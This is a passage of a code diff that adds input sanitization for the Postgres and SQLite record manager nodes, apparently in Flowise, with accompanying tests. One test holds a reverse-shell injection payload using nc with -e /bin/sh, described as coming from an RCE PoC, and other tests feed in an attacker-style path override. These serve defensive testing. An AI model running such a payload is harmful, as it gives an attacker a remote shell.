sanitizeRecordManagerTableName(tableName) } private async getDataSource(): Promise { diff --git a/packages/components/nodes/recordmanager/PostgresRecordManager/PostgresRecordManager.ts b/packages/components/nodes/recordmanager/PostgresRecordManager/PostgresRecordManager.ts index 58055bc5071..e44d01b1c9f 100644 --- a/packages/components/nodes/recordmanager/PostgresRecordManager/PostgresRecordManager.ts +++ b/packages/components/nodes/recordmanager/PostgresRecordManager/PostgresRecordManager.ts @@ -4,7 +4,8 @@ import { ListKeyOptions, RecordManagerInterface, UpdateOptions } from '@langchai import { DataSource } from 'typeorm' import { getHost, getSSL } from '../../vectorstores/Postgres/utils' import { getDatabase, getPort, getTableName } from './utils' -import { sanitizeDataSourceOptions } from '../../../src/sanitizeDataSourceOptions' +import { mergeDataSourceOptions, sanitizeDataSourceOptions } from '../../../src/sanitizeDataSourceOptions' +import { sanitizeRecordManagerNamespace, sanitizeRecordManagerTableName } from '../../../src/recordManagerSecurity' const serverCredentialsExists = !!process.env.POSTGRES_RECORDMANAGER_USER && !!process.env.POSTGRES_RECORDMANAGER_PASSWORD @@ -137,10 +138,10 @@ class PostgresRecordManager_RecordManager implements INode { const credentialData = await getCredentialData(nodeData.credential ?? '', options) const user = getCredentialParam('user', credentialData, nodeData, process.env.POSTGRES_RECORDMANAGER_USER) const password = getCredentialParam('password', credentialData, nodeData, process.env.POSTGRES_RECORDMANAGER_PASSWORD) - const tableName = getTableName(nodeData) + const tableName = sanitizeRecordManagerTableName(getTableName(nodeData)) const additionalConfig = nodeData.inputs?.additionalConfig as string const _namespace = nodeData.inputs?.namespace as string - const namespace = _namespace ? _namespace : options.chatflowid + const namespace = _namespace ? sanitizeRecordManagerNamespace(_namespace) : options.chatflowid const cleanup = nodeData.inputs?.cleanup as string const _sourceIdKey = nodeData.inputs?.sourceIdKey as string const sourceIdKey = _sourceIdKey ? _sourceIdKey : 'source' @@ -155,16 +156,18 @@ class PostgresRecordManager_RecordManager implements INode { additionalConfiguration = sanitizeDataSourceOptions(additionalConfiguration) } - const postgresConnectionOptions = { - ...additionalConfiguration, - type: 'postgres', - host: getHost(nodeData), - port: getPort(nodeData), - ssl: getSSL(nodeData), - username: user, - password: password, - database: getDatabase(nodeData) - } + const postgresConnectionOptions = mergeDataSourceOptions( + { + type: 'postgres', + host: getHost(nodeData), + port: getPort(nodeData), + ssl: getSSL(nodeData), + username: user, + password: password, + database: getDatabase(nodeData) + }, + additionalConfiguration + ) const args = { postgresConnectionOptions: postgresConnectionOptions, @@ -199,15 +202,7 @@ class PostgresRecordManager implements RecordManagerInterface { } sanitizeTableName(tableName: string): string { - // Trim and normalize case, turn whitespace into underscores - tableName = tableName.trim().toLowerCase().replace(/\s+/g, '_') - - // Validate using a regex (alphanumeric and underscores only) - if (!/^[a-zA-Z0-9_]+$/.test(tableName)) { - throw new Error('Invalid table name') - } - - return tableName + return sanitizeRecordManagerTableName(tableName) } private async getDataSource(): Promise { diff --git a/packages/components/nodes/recordmanager/SQLiteRecordManager/SQLiteRecordManager.ts b/packages/components/nodes/recordmanager/SQLiteRecordManager/SQLiteRecordManager.ts index d97d742d1ed..eb30bb58a0f 100644 --- a/packages/components/nodes/recordmanager/SQLiteRecordManager/SQLiteRecordManager.ts +++ b/packages/components/nodes/recordmanager/SQLiteRecordManager/SQLiteRecordManager.ts @@ -3,7 +3,9 @@ import { getBaseClasses, getUserHome } from '../../../src/utils' import { ListKeyOptions, RecordManagerInterface, UpdateOptions } from '@langchain/community/indexes/base' import { DataSource } from 'typeorm' import path from 'path' -import { sanitizeDataSourceOptions } from '../../../src/sanitizeDataSourceOptions' +import { mergeDataSourceOptions, sanitizeDataSourceOptions } from '../../../src/sanitizeDataSourceOptions' +import { sanitizeRecordManagerNamespace, sanitizeRecordManagerTableName } from '../../../src/recordManagerSecurity' +import { validateSQLitePath } from '../../../src/validator' class SQLiteRecordManager_RecordManager implements INode { label: string @@ -101,10 +103,10 @@ class SQLiteRecordManager_RecordManager implements INode { async init(nodeData: INodeData, _: string, options: ICommonObject): Promise { const _tableName = nodeData.inputs?.tableName as string - const tableName = _tableName ? _tableName : 'upsertion_records' + const tableName = sanitizeRecordManagerTableName(_tableName ? _tableName : 'upsertion_records') const additionalConfig = nodeData.inputs?.additionalConfig as string const _namespace = nodeData.inputs?.namespace as string - const namespace = _namespace ? _namespace : options.chatflowid + const namespace = _namespace ? sanitizeRecordManagerNamespace(_namespace) : options.chatflowid const cleanup = nodeData.inputs?.cleanup as string const _sourceIdKey = nodeData.inputs?.sourceIdKey as string const sourceIdKey = _sourceIdKey ? _sourceIdKey : 'source' @@ -119,13 +121,15 @@ class SQLiteRecordManager_RecordManager implements INode { additionalConfiguration = sanitizeDataSourceOptions(additionalConfiguration) } - const database = path.join(process.env.DATABASE_PATH ?? path.join(getUserHome(), '.flowise'), 'database.sqlite') + const database = validateSQLitePath(path.join(process.env.DATABASE_PATH ?? path.join(getUserHome(), '.flowise'), 'database.sqlite')) - const sqliteOptions = { - database, - ...additionalConfiguration, - type: 'sqlite' - } + const sqliteOptions = mergeDataSourceOptions( + { + database, + type: 'sqlite' + }, + additionalConfiguration + ) const args = { sqliteOptions, @@ -160,15 +164,7 @@ class SQLiteRecordManager implements RecordManagerInterface { } sanitizeTableName(tableName: string): string { - // Trim and normalize case, turn whitespace into underscores - tableName = tableName.trim().toLowerCase().replace(/\s+/g, '_') - - // Validate using a regex (alphanumeric and underscores only) - if (!/^[a-zA-Z0-9_]+$/.test(tableName)) { - throw new Error('Invalid table name') - } - - return tableName + return sanitizeRecordManagerTableName(tableName) } private async getDataSource(): Promise { diff --git a/packages/components/src/index.ts b/packages/components/src/index.ts index eb914cd8da6..d2e5ca32de2 100644 --- a/packages/components/src/index.ts +++ b/packages/components/src/index.ts @@ -20,4 +20,5 @@ export * from './httpSecurity' export * from './headerValidation' export * from './pythonCodeValidator' export * from './sanitizeDataSourceOptions' +export * from './recordManagerSecurity' export { MCPToolkit } from '../nodes/tools/MCP/core' diff --git a/packages/components/src/recordManagerSecurity.test.ts b/packages/components/src/recordManagerSecurity.test.ts new file mode 100644 index 00000000000..f64358de0db --- /dev/null +++ b/packages/components/src/recordManagerSecurity.test.ts @@ -0,0 +1,38 @@ +import { + RECORD_MANAGER_TABLE_NAME_MAX_LENGTH, + sanitizeRecordManagerNamespace, + sanitizeRecordManagerTableName +} from './recordManagerSecurity' + +describe('sanitizeRecordManagerTableName', () => { + it('accepts valid table names', () => { + expect(sanitizeRecordManagerTableName('upsertion_records')).toBe('upsertion_records') + }) + + it('normalizes whitespace to underscores', () => { + expect(sanitizeRecordManagerTableName(' My Table ')).toBe('my_table') + }) + + it('rejects invalid characters', () => { + expect(() => sanitizeRecordManagerTableName('table-name')).toThrow('Invalid table name') + }) + + it('rejects names exceeding max length', () => { + const longName = 'a'.repeat(RECORD_MANAGER_TABLE_NAME_MAX_LENGTH + 1) + expect(() => sanitizeRecordManagerTableName(longName)).toThrow(/must be at most/) + }) +}) + +describe('sanitizeRecordManagerNamespace', () => { + it('accepts UUID-shaped namespaces', () => { + expect(sanitizeRecordManagerNamespace('a1b2c3d4-e5f6-4789-a012-3456789abcde')).toBe('a1b2c3d4-e5f6-4789-a012-3456789abcde') + }) + + it('rejects shell metacharacters used in RCE PoC', () => { + expect(() => sanitizeRecordManagerNamespace("'$(/usr/bin/nc 172.17.0.1 1337 -e /bin/sh)")).toThrow('Invalid namespace') + }) + + it('rejects spaces', () => { + expect(() => sanitizeRecordManagerNamespace('my namespace')).toThrow('Invalid namespace') + }) +}) diff --git a/packages/components/src/recordManagerSecurity.ts b/packages/components/src/recordManagerSecurity.ts new file mode 100644 index 00000000000..7c7431fd615 --- /dev/null +++ b/packages/components/src/recordManagerSecurity.ts @@ -0,0 +1,36 @@ +export const RECORD_MANAGER_TABLE_NAME_MAX_LENGTH = 128 +export const RECORD_MANAGER_NAMESPACE_MAX_LENGTH = 128 + +/** + * Validates record manager table names used in SQL identifiers. + */ +export function sanitizeRecordManagerTableName(tableName: string): string { + tableName = tableName.trim().toLowerCase().replace(/\s+/g, '_') + + if (!/^[a-zA-Z0-9_]+$/.test(tableName)) { + throw new Error('Invalid table name') + } + + if (tableName.length > RECORD_MANAGER_TABLE_NAME_MAX_LENGTH) { + throw new Error(`Invalid table name: must be at most ${RECORD_MANAGER_TABLE_NAME_MAX_LENGTH} characters`) + } + + return tableName +} + +/** + * Validates record manager namespace values stored in the database. + */ +export function sanitizeRecordManagerNamespace(namespace: string): string { + const trimmed = namespace.trim() + + if (!/^[a-zA-Z0-9_-]{1,128}$/.test(trimmed)) { + throw new Error('Invalid namespace') + } + + if (trimmed.length > RECORD_MANAGER_NAMESPACE_MAX_LENGTH) { + throw new Error(`Invalid namespace: must be at most ${RECORD_MANAGER_NAMESPACE_MAX_LENGTH} characters`) + } + + return trimmed +} diff --git a/packages/components/src/sanitizeDataSourceOptions.test.ts b/packages/components/src/sanitizeDataSourceOptions.test.ts index a34d2f4276e..c999856315c 100644 --- a/packages/components/src/sanitizeDataSourceOptions.test.ts +++ b/packages/components/src/sanitizeDataSourceOptions.test.ts @@ -1,4 +1,4 @@ -import { sanitizeDataSourceOptions } from './sanitizeDataSourceOptions' +import { mergeDataSourceOptions, rejectReservedDataSourceKeys, sanitizeDataSourceOptions } from './sanitizeDataSourceOptions' describe('sanitizeDataSourceOptions', () => { it('returns empty object for empty input', () => { @@ -40,4 +40,35 @@ describe('sanitizeDataSourceOptions', () => { ).toThrow('Disallowed TypeORM DataSource option:') }) }) + + describe('reserved connection keys', () => { + it.each(['database', 'type', 'url', 'host', 'port', 'username', 'password'] as const)( + 'rejectReservedDataSourceKeys throws when %s is present', + (key) => { + expect(() => rejectReservedDataSourceKeys({ [key]: 'evil' })).toThrow(`Disallowed TypeORM DataSource option: ${key}`) + } + ) + }) +}) + +describe('mergeDataSourceOptions', () => { + it('applies protected options after safe user options', () => { + const result = mergeDataSourceOptions({ database: '/safe/db.sqlite', type: 'sqlite' }, { connectTimeout: 10000 }) + expect(result).toEqual({ + connectTimeout: 10000, + database: '/safe/db.sqlite', + type: 'sqlite' + }) + }) + + it('throws when user options include reserved database key', () => { + expect(() => + mergeDataSourceOptions({ database: '/safe/db.sqlite', type: 'sqlite' }, { database: '/etc/chromium/exploit.conf' }) + ).toThrow('Disallowed TypeORM DataSource option: database') + }) + + it('passes through safe user options', () => { + const result = mergeDataSourceOptions({ type: 'sqlite', database: '/safe/db.sqlite' }, { poolSize: 5 }) + expect(result).toEqual({ poolSize: 5, type: 'sqlite', database: '/safe/db.sqlite' }) + }) }) diff --git a/packages/components/src/sanitizeDataSourceOptions.ts b/packages/components/src/sanitizeDataSourceOptions.ts index a95180603ba..b2bb44328d0 100644 --- a/packages/components/src/sanitizeDataSourceOptions.ts +++ b/packages/components/src/sanitizeDataSourceOptions.ts @@ -3,7 +3,11 @@ import { ICommonObject } from './Interface' /** TypeORM DataSource options that can load and execute arbitrary local JavaScript files. */ const BLOCKED_DATASOURCE_KEYS = ['entities', 'subscribers', 'migrations', 'extra'] as const +/** Connection options that must be set by the node, not via additionalConfig. */ +const RESERVED_CONNECTION_KEYS = ['database', 'type', 'url', 'host', 'port', 'username', 'password'] as const + export type BlockedDataSourceKey = (typeof BLOCKED_DATASOURCE_KEYS)[number] +export type ReservedConnectionKey = (typeof RESERVED_CONNECTION_KEYS)[number] /** * Rejects user-supplied TypeORM DataSource options that can lead to arbitrary code execution @@ -22,3 +26,27 @@ export function sanitizeDataSourceOptions(config: ICommonObject): ICommonObject return { ...config } } + +/** + * Rejects user-supplied connection fields that must not override node-controlled settings. + */ +export function rejectReservedDataSourceKeys(config: ICommonObject): void { + if (!config || typeof config !== 'object' || Array.isArray(config)) { + return + } + + for (const key of RESERVED_CONNECTION_KEYS) { + if (Object.prototype.hasOwnProperty.call(config, key)) { + throw new Error(`Disallowed TypeORM DataSource option: ${key}`) + } + } +} + +/** + * Merges sanitized user options under protected node-controlled DataSource options. + */ +export function mergeDataSourceOptions(protectedOptions: T, userOptions: ICommonObject): T { + const sanitized = sanitizeDataSourceOptions(userOptions) + rejectReservedDataSourceKeys(sanitized) + return { ...sanitized, ...protectedOptions } +} diff --git a/packages/components/src/validator.test.ts b/packages/components/src/validator.test.ts index 740cb822901..46d34ca8aec 100644 --- a/packages/components/src/validator.test.ts +++ b/packages/components/src/validator.test.ts @@ -584,6 +584,30 @@ describe('validateSQLitePath', () => { }) }) + describe('DATABASE_PATH allowlist', () => { + const originalDatabasePath = process.env.DATABASE_PATH + + afterEach(() => { + if (originalDatabasePath === undefined) { + delete process.env.DATABASE_PATH + } else { + process.env.DATABASE_PATH = originalDatabasePath + } + }) + + it('should accept database file under DATABASE_PATH when set', () => { + const customBase = path.join(userHome, 'custom-flowise-data') + process.env.DATABASE_PATH = customBase + const dbPath = path.join(customBase, 'database.sqlite') + expect(validateSQLitePath(dbPath)).toBe(path.resolve(dbPath)) + }) + + it('should still reject paths outside DATABASE_PATH and .flowise', () => { + process.env.DATABASE_PATH = path.join(userHome, 'custom-flowise-data') + expect(() => validateSQLitePath('/etc/chromium/exploit.conf')).toThrow(/Invalid SQLite path:/) + }) + }) + describe('PATH_TRAVERSAL_SAFETY=false bypasses all checks', () => { beforeEach(() => { process.env.PATH_TRAVERSAL_SAFETY = 'false' diff --git a/packages/components/src/validator.ts b/packages/components/src/validator.ts index 4d0db1829b5..f2abf950f8c 100644 --- a/packages/components/src/validator.ts +++ b/packages/components/src/validator.ts @@ -285,26 +285,43 @@ export const validateVectorStorePath = (userProvidedPath: string | undefined): s return resolvedPath } +const getAllowedSQLiteBaseDirs = (): string[] => { + const dirs = [path.join(getUserHome(), '.flowise')] + if (process.env.DATABASE_PATH) { + dirs.push(path.resolve(process.env.DATABASE_PATH)) + } + return dirs +} + +const isPathWithinAllowedSQLiteDirs = (resolvedPath: string, allowedDirs: string[]): boolean => { + const normalizedResolved = path.normalize(resolvedPath) + return allowedDirs.some((allowedDir) => { + const normalizedAllowed = path.normalize(allowedDir) + return normalizedResolved === normalizedAllowed || normalizedResolved.startsWith(normalizedAllowed + path.sep) + }) +} + /** * Validates and sanitizes a SQLite database file path to prevent path traversal * and arbitrary file write attacks. * * Relative paths are resolved within ~/.flowise/. Absolute paths must fall inside - * ~/.flowise/. Set PATH_TRAVERSAL_SAFETY=false to bypass all checks (not recommended). + * ~/.flowise/ or DATABASE_PATH when set. Set PATH_TRAVERSAL_SAFETY=false to bypass all checks (not recommended). * * @param {string | undefined} userProvidedPath - File path supplied by the user in the node config - * @returns {string} A validated, absolute path within ~/.flowise/ - * @throws {Error} If the path is missing, contains traversal patterns, or is outside ~/.flowise/ + * @returns {string} A validated, absolute path within an allowed base directory + * @throws {Error} If the path is missing, contains traversal patterns, or is outside allowed directories */ export const validateSQLitePath = (userProvidedPath: string | undefined): string => { - const allowedDir = path.join(getUserHome(), '.flowise') + const allowedDirs = getAllowedSQLiteBaseDirs() + const defaultDir = allowedDirs[0] if (process.env.PATH_TRAVERSAL_SAFETY === 'false') { if (!userProvidedPath || userProvidedPath.trim() === '') { - return path.join(allowedDir, 'database.sqlite') + return path.join(defaultDir, 'database.sqlite') } const bypassPath = userProvidedPath.trim() - return path.isAbsolute(bypassPath) ? bypassPath : path.resolve(path.join(allowedDir, bypassPath)) + return path.isAbsolute(bypassPath) ? bypassPath : path.resolve(path.join(defaultDir, bypassPath)) } if (!userProvidedPath || userProvidedPath.trim() === '') { @@ -323,14 +340,14 @@ export const validateSQLitePath = (userProvidedPath: string | undefined): string if (/^\\\\[^\\]/.test(basePath)) throw new Error('Invalid SQLite path: UNC paths are not allowed') if (/^\\\\\?\\/.test(basePath)) throw new Error('Invalid SQLite path: extended-length paths are not allowed') - const resolvedPath = path.isAbsolute(basePath) ? path.resolve(basePath) : path.resolve(path.join(allowedDir, basePath)) + const resolvedPath = path.isAbsolute(basePath) ? path.resolve(basePath) : path.resolve(path.join(defaultDir, basePath)) if (resolvedPath.includes('..')) throw new Error('Invalid SQLite path: path traversal detected in resolved path') - const normalizedResolved = path.normalize(resolvedPath) - const normalizedAllowed = path.normalize(allowedDir) - if (normalizedResolved !== normalizedAllowed && !normalizedResolved.startsWith(normalizedAllowed + path.sep)) { - throw new Error(`Invalid SQLite path: path must be within ${allowedDir}. Attempted path: ${resolvedPath}`) + if (!isPathWithinAllowedSQLiteDirs(resolvedPath, allowedDirs)) { + throw new Error( + `Invalid SQLite path: path must be within allowed directories (${allowedDirs.join(', ')}). Attempted path: ${resolvedPath}` + ) } return resolvedPath